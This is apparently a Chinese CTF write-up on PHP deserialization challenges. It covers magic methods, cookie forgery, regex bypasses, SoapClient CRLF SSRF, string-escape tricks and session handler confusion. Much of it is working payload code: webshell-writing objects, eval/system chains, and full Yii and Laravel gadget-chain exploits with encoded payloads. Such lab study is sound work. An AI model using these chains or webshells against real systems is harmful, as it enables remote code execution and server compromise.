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在 PHP 的序列化中,魔术方法(Magic Methods)是一组特殊的方法,这些方法以双下划线(__
)作为前缀,可以在特定的序列化阶段触发从而使开发者能够进一步的控制 序列化 / 反序列化 的过程。
你可以在 PHP 官方文档中查找到对应魔术方法的定义和使用方法:PHP: 魔术方法 - Manual
一般在题目中常见的几个方法如下:
__wakeup() //------ 执行unserialize()时,先会调用这个函数
__sleep() //------- 执行serialize()时,先会调用这个函数
__destruct() //---- 对象被销毁时触发
__call() //-------- 在对象上下文中调用不可访问的方法时触发
__callStatic() //-- 在静态上下文中调用不可访问的方法时触发
__get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
__set() //--------- 用于将数据写入不可访问的属性
__isset() //------- 在不可访问的属性上调用isset()或empty()触发
__unset() //------- 在不可访问的属性上使用unset()时触发
__toString() //---- 把类当作字符串使用时触发
__invoke() //------ 当尝试将对象调用为函数时触发
一份比较全面的表格:
magicMethods | attribute |
---|---|
__construct | 当一个对象被创建时自动调用这个方法,可以用来初始化对象的属性。 |
__destruct | 当一个对象被销毁时自动调用这个方法,可以用来释放对象占用的资源。 |
__call | 在对象中调用一个不存在的方法时自动调用这个方法,可以用来实现动态方法调用。 |
__callStatic | 在静态上下文中调用一个不存在的方法时自动调用这个方法,可以用来实现动态静态方法调用。 |
__get | 当一个对象的属性被读取时自动调用这个方法,可以用来实现属性的访问控制。 |
__set | 当一个对象的属性被设置时自动调用这个方法,可以用来实现属性的访问控制。 |
__isset | 当使用 isset() 或 empty() 测试一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。 |
__unset | 当使用 unset() 删除一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。 |
__toString | 当一个对象被转换为字符串时自动调用这个方法,可以用来实现对象的字符串表示。 |
__invoke | 当一个对象被作为函数调用时自动调用这个方法,可以用来实现对象的可调用性。 |
__set_state | 当使用 var_export() 导出一个对象时自动调用这个方法,可以用来实现对象的序列化和反序列化。 |
__clone | 当一个对象被克隆时自动调用这个方法,可以用来实现对象的克隆。 |
__debugInfo | 当使用 var_dump() 或 print_r() 输出一个对象时自动调用这个方法,可以用来控制对象的调试信息输出。 |
__sleep | 在对象被序列化之前自动调用这个方法,可以用来控制哪些属性被序列化。 |
__wakeup | 在对象被反序列化之后自动调用这个方法,可以用来重新初始化对象的属性。 |
PHP 官方文档已经很详细了,这里不在赘述,不一定需要学会所有的函数,除开常见的,其他的在遇到的时候查阅即可。
<?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
只要触发**vipOneKeyGetFlag()**函数就可以得到flag
考察基础的代码审计,满足$this->username===$u&&$this->password===$p
即可
<?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
与上题不同的是这次的$user
是由cookie的user变量反序列化得到的,考察了基本的反序列化
要求 cookie 中 user 值为一个序列化的 ctfshowUser 对象,属性 isVip 值为 true,username 和 password 和 GET 参数获取的一致。
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$a = new ctfShowUser();
echo serialize($a);
GET: ?username=xxxxxx&password=xxxxxx
Cookie: O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
//urlencode O: 11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}
<?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
**vipOneKeyGetFlag()**方法要求username和password不一样,传入的类是自己可控的,改就行了呗
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxx';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
GET: ?username=xxxxxx&password=xxxxx
Cookie: O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
//urlencode O: 11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:5:"xxxxx";s:5:"isVip";b:1;}
<?php error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
从backDoor
的eval函数入手,修改ctfShowUser
的class变量触发backDoor类,进行命令执行
<?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=true; private $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ private $code = 'system("cat flag.php");'; public function getInfo(){ eval($this->code); } } $a = new ctfShowUser(); echo urlencode(serialize($a));
GET: ?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
// urlencode
// O:11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";s:21:"ctfShowUserpassword";s:6:"xxxxxx";s:18:"ctfShowUserisVip";b:1;s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system("cat flag.php");";}}
<?php error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
多了正则过滤/[oc]:\d+:/i
还有个小改动,把原来的private改成了public
这个正则表达式'/[oc]:\d+:/i'
可以分解为几个部分来解释:
/
:正则表达式的开始和结束通常使用斜杠/
来标记,但在字符串中使用时,需要使用转义字符\
来避免与字符串的结束标记混淆。[oc]
:这是一个字符集,表示匹配方括号内的任意一个字符。在这个例子中,它可以匹配字母o
或c
。:
:这个字符字面上表示它自己,即冒号。\d+
:\d
是一个特殊字符,代表任意一个数字(0-9)。+
是一个量词,表示前面的字符或字符集可以出现一次或多次。所以\d+
表示匹配一个或多个数字。:
:同上,表示字面上的冒号。/i
:i
是一个修饰符,表示不区分大小写。这意味着[oc]
可以匹配O
或o
或C
或c
。将这些部分组合起来,这个正则表达式可以匹配形如/o123:
或/c456:
的字符串,其中o
或c
后面跟着一个或多个数字,然后是一个冒号。例如,它可以匹配/oc:12345/
或/O987:
。
可以利用unserialize的特性在数字前面加上 +
即可,这里正则替换一下。
<?php
class ctfShowUser{
public $class ;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code = 'system("tac fl*");';
}
$a = new ctfShowUser();
echo urlencode(preg_replace("/([oc]):(\d+:)/i", "$1:+$2", serialize($a)));
GET: ?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A18%3A%22system%28%22tac+fl%2A%22%29%3B%22%3B%7D%7D
// urlencode
// O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:18:"system("tac fl*");";}}
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
没找到可以反序列化的类,但是根据提示伪造ip后访问flag.txt可以得到flag,感觉考的是HTTP
看了大佬wp考的是php原生类SoapClient
+CRLF
实现SSRF
CRLF注入攻击
CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分
隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,
这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
本题需要重点关注的析构函数
__call
在对象中调用一个不可访问方法时调用
在这道题中$vip->getFlag();
因为调用了类中没有的方法所以会导致__call
的执行
本题需要用到的函数
SoapClient::__call
<?php
$url = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$a = new SoapClient(null, array('location' => $url, 'user_agent' => 'hsad^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($a);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
序列化出来的东西需要包含字符串ctfshow_i_love_36D,
直接传ctfhsow=ctfshow_i_love_36D试试,成功回显flag。
<?php highlight_file(__FILE__); class ctfshowvip{ public $username; public $password; public $code; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); } public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } } unserialize($_GET['vip']);
PHP 文档中提到
注意:
如果类中同时定义了__unserialize()
和__wakeup()
两个魔术方法,则只有__unserialize()
方法会生效,__wakeup()
方法会被忽略。
注意:
此特性自 PHP 7.4.0 起可用。
查看 response header
可知 X-Powered-By: PHP/7.4.16
,那么 __wakeup
部分就不会被执行,与注释无异。
__destruct
函数部分弱比较 $this->code==0x36d
,因为 $this->code = $this->username.$this->password;
,username
可控制,因为 (int)'877.php' == 0x36d
,故传 877.php
即可绕过。
<?php class ctfshowvip{ public $username; public $password; public $code; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } } $a = new ctfshowvip('877.php','<?php @eval($_POST[1]);?>'); $a = urlencode(serialize($a)); echo $a;
GET: ?vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D
POST: /877.php
1=system('tac /flag_is_here');
<?php error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; }
message.php
<?php highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }
根据message.php提示,Cookie传入构造好的msg即可
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
}
$a = new message();
echo base64_encode(serialize($a));
Cookie: msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
正确做法应该是运用反序列化字符串逃逸,运用的思想跟sql注入的闭合相似
我们这里有一个序列化字符串,我们要改变token属性,但我们无法直接控制它的值。
我们只能给from,msg,to传递值,即这三个属性是可控的
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}
假如我们向to属性传递 t=3";s:5:“token”;s:5:“user”;} 字符串就变为了下面这样
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:27:"3";s:5:"token";s:4:"user";}";s:5:"token";s:5:"user";}
我们对字符串进来了闭合,这样我们就可以控制token属性的值了,但我们也会发现一点,to属性值的长度变为了27。
反序列化时,如果为27则会匹配后面27个字符,这样闭合就没有效果。
这时候题目中的替换字符函数可以帮助到我们
$umsg = str_replace('fuck', 'loveU', serialize($msg));
str_replace会将fuck替换为loveU,且替换是在序列化之后进行,也就是说,实际字符串长度增加了1,但标明的字符串长度任然为原值
// 替换前
s:2:"to";s:4:"fuck";
// 替换后
s:2:"to";s:4:"loveU";
通过这种方法,我们就可以凭空增加字符,来成功进行闭合
// t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
// 后面多出27个字符,所以我们写27个fuck,替换为loveU后,增加了27个字符,来达到字符串逃逸
最终我们的payload为
f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
刚开始以为弱密码,但是成功,于是扫描到备份文件www.zip
index.php
<?php
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
inc.php
<?php ini_set('session.serialize_handler', 'php'); session_start(); ... class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } }
inc.php有file_put_contents,可写木马,user控制文件名,pass写一句话
session.save_path="" 指定储存的路径
session.save_handler="" 指定储存时使用的函数(默认是file)
session.auto_start boolen
session.serialize_handler="" 定义序列化和反序列化的处理器的名字,默认是php(5.5.4后改为php_serialize)
使用 ini_set
指定了 serialize_handler
为 php
,如果默认的 serialize_handler
为 php_serialize
,就可以通过在序列化的字符串之前加 |
,反序列化任意对象。
php_binary: 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php: 存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4): 存储方式是,经过serialize()函数序列化处理的值
注意:在
php 5.5.4
以前默认选择的是php
,5.5.4
之后就是php_serialize
,这里的php
版本为7.3.11
,那么默认就是php_serialize
。
那么思路就很清晰了,首先在index.php中的 $COOKIE['limit']
中构造 |+序列化对象
的字符串,访问首页写入 session
,再通过 check.php
加载的 inc.php
中的 ini_set('session.serialize_handler', 'php');
将 session
以 session.serialize_handler=php
的格式反序列化,执行 User
类的 __destruct
方法写 shell
。
构造 payload
:
<?php
class User{
public $username = "a.php";
public $password = '<?php eval($_POST[1]);phpinfo();?>';
public $status;
}
$a = new User();
echo base64_encode("|".serialize($a));
Cookie: limit=fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJhLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==
访问index.php时修改Cookie并发送,然后访问check.php触发反序列化,最后在根目录下/log-a.php
刚开始文件成功写入了,没法命令执行,木马后面加个phpinfo()
就可以了,很奇怪
<?php session_start(); highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_SESSION['msg'])); if($msg->token=='admin'){ echo $flag; } }
这次相比 web262
有了 session
的限制,就不能自己构造了,用起来反序列化字符串逃逸。
<?php
class message{
public $from ='aaa';
public $msg = 'aaa';
public $to = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
public $token='admin';
}
$a = new message();
echo serialize($a);
GET: ?f=aaa&m=bbb&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
在向index.php发送之后得到回显Your message has been sent,然后访问message.php(记得Cookie加上msg)得到flag
<?php error_reporting(0); include('flag.php'); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } } $ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand()); if($ctfshow->login()){ echo $flag; }
如果要靠输入的 $password
去和 md5(mt_rand())
碰撞,几乎是不可能的。这里需要用到 php
的引用,使得 $password =
&$token;
,那么 $password === $token
就没问题了。
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password = & $this->token;
}
}
$a = new ctfshowAdmin();
echo urlencode(serialize($a));
Payload:
?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
<?php highlight_file(__FILE__); include('flag.php'); $cs = file_get_contents('php://input'); class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }
file_get_contents(‘php://input’)
在用php写接口的时候,通常会将请求的数据通过json的形式发送到指定的请求地址处,此时的file_get_contents(‘php://input’)
主要是用来获取请求的原始数据
其与POST的区别如下:
-------$_POST------------------
array(2) { [“name”]=> string(8) “zhangsan” [“pwd”]=> string(8) “zhangsan” }
-------php://input-------------
name=zhangsan&pwd=zhangsan
只要序列化ctfshow类让他反序列之后触发__destruct()函数即可得到flag
由于过滤了ctfshow
但是这里用的是cTFSHOW
,在PHP中,类不区分大小写;所以绕过了过滤。
这里涉及到一个 php
常识:PHP大小写:函数名和类名不区分,变量名区分。
Payload:
POST: O:7:"cTFSHOW":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
弱密码admin/admin
登陆后,About界面发现注释<!--?view-source -->
于是访问index.php?r=site/about&view-source
///backdoor/shell
unserialize(base64_decode($_GET['code']))
搜了一下知道是 Yii
框架的反序列化漏洞。
Poc
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'shell_exec'; $this->id = 'cp /flag 3.txt'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction, 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>
这里 system
不能用,用了 shell_exec
。
Payload:
/index.php?r=backdoor%2Fshell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTQ6ImNwIC9mbGFnIDMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
做法一样但是需要修改poc,因为存在过滤
<?php namespace yii\rest { class Action { public $checkAccess; } class IndexAction { public function __construct($func, $param) { $this->checkAccess = $func; $this->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } } } namespace { $exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令 echo(base64_encode(serialize($exp))); }
Payload:?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=
空格被过滤注意修改最后的payload
Poc
<?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app){ $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } } } namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } } } namespace{ $genericuser = new Illuminate\Auth\GenericUser( array( "expectedOutput"=>array("0"=>"1"), "expectedQuestions"=>array("0"=>"1") ) ); $application = new Illuminate\Foundation\Application( array( "Illuminate\Contracts\Console\Kernel"=> array( "concrete"=>"Illuminate\Foundation\Application" ) ) ); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand( "system",array('tac /fl*'), $genericuser, $application ); echo urlencode(serialize($pendingcommand)); }
或者使用phpgccphp phpggc Laravel/RCE6 "system('cat /flag');" --url
Payload:
POST: data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22tac+%2Ffl%2A%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
<?php namespace PhpParser\Node\Scalar\MagicConst{ class Line {} } namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code; public function __construct($config, $code) { $this->config = $config; $this->code = $code; } } } namespace Mockery\Loader{ class EvalLoader{} } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Illuminate\Foundation\Console{ class QueuedCommand { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace{ $line = new PhpParser\Node\Scalar\MagicConst\Line(); $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>"); $evalloader = new Mockery\Loader\EvalLoader(); $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load')); $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand); echo urlencode(serialize($pendingbroadcast)); }
或者使用phpgcc
Payload:
POST: data=O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A35%3A%22%3C%3Fphp%20system%28%27cat%20%2Fflag%27%29%3B%20exit%3B%20%3F%3E%22%3B%7D%7D%7D%7D
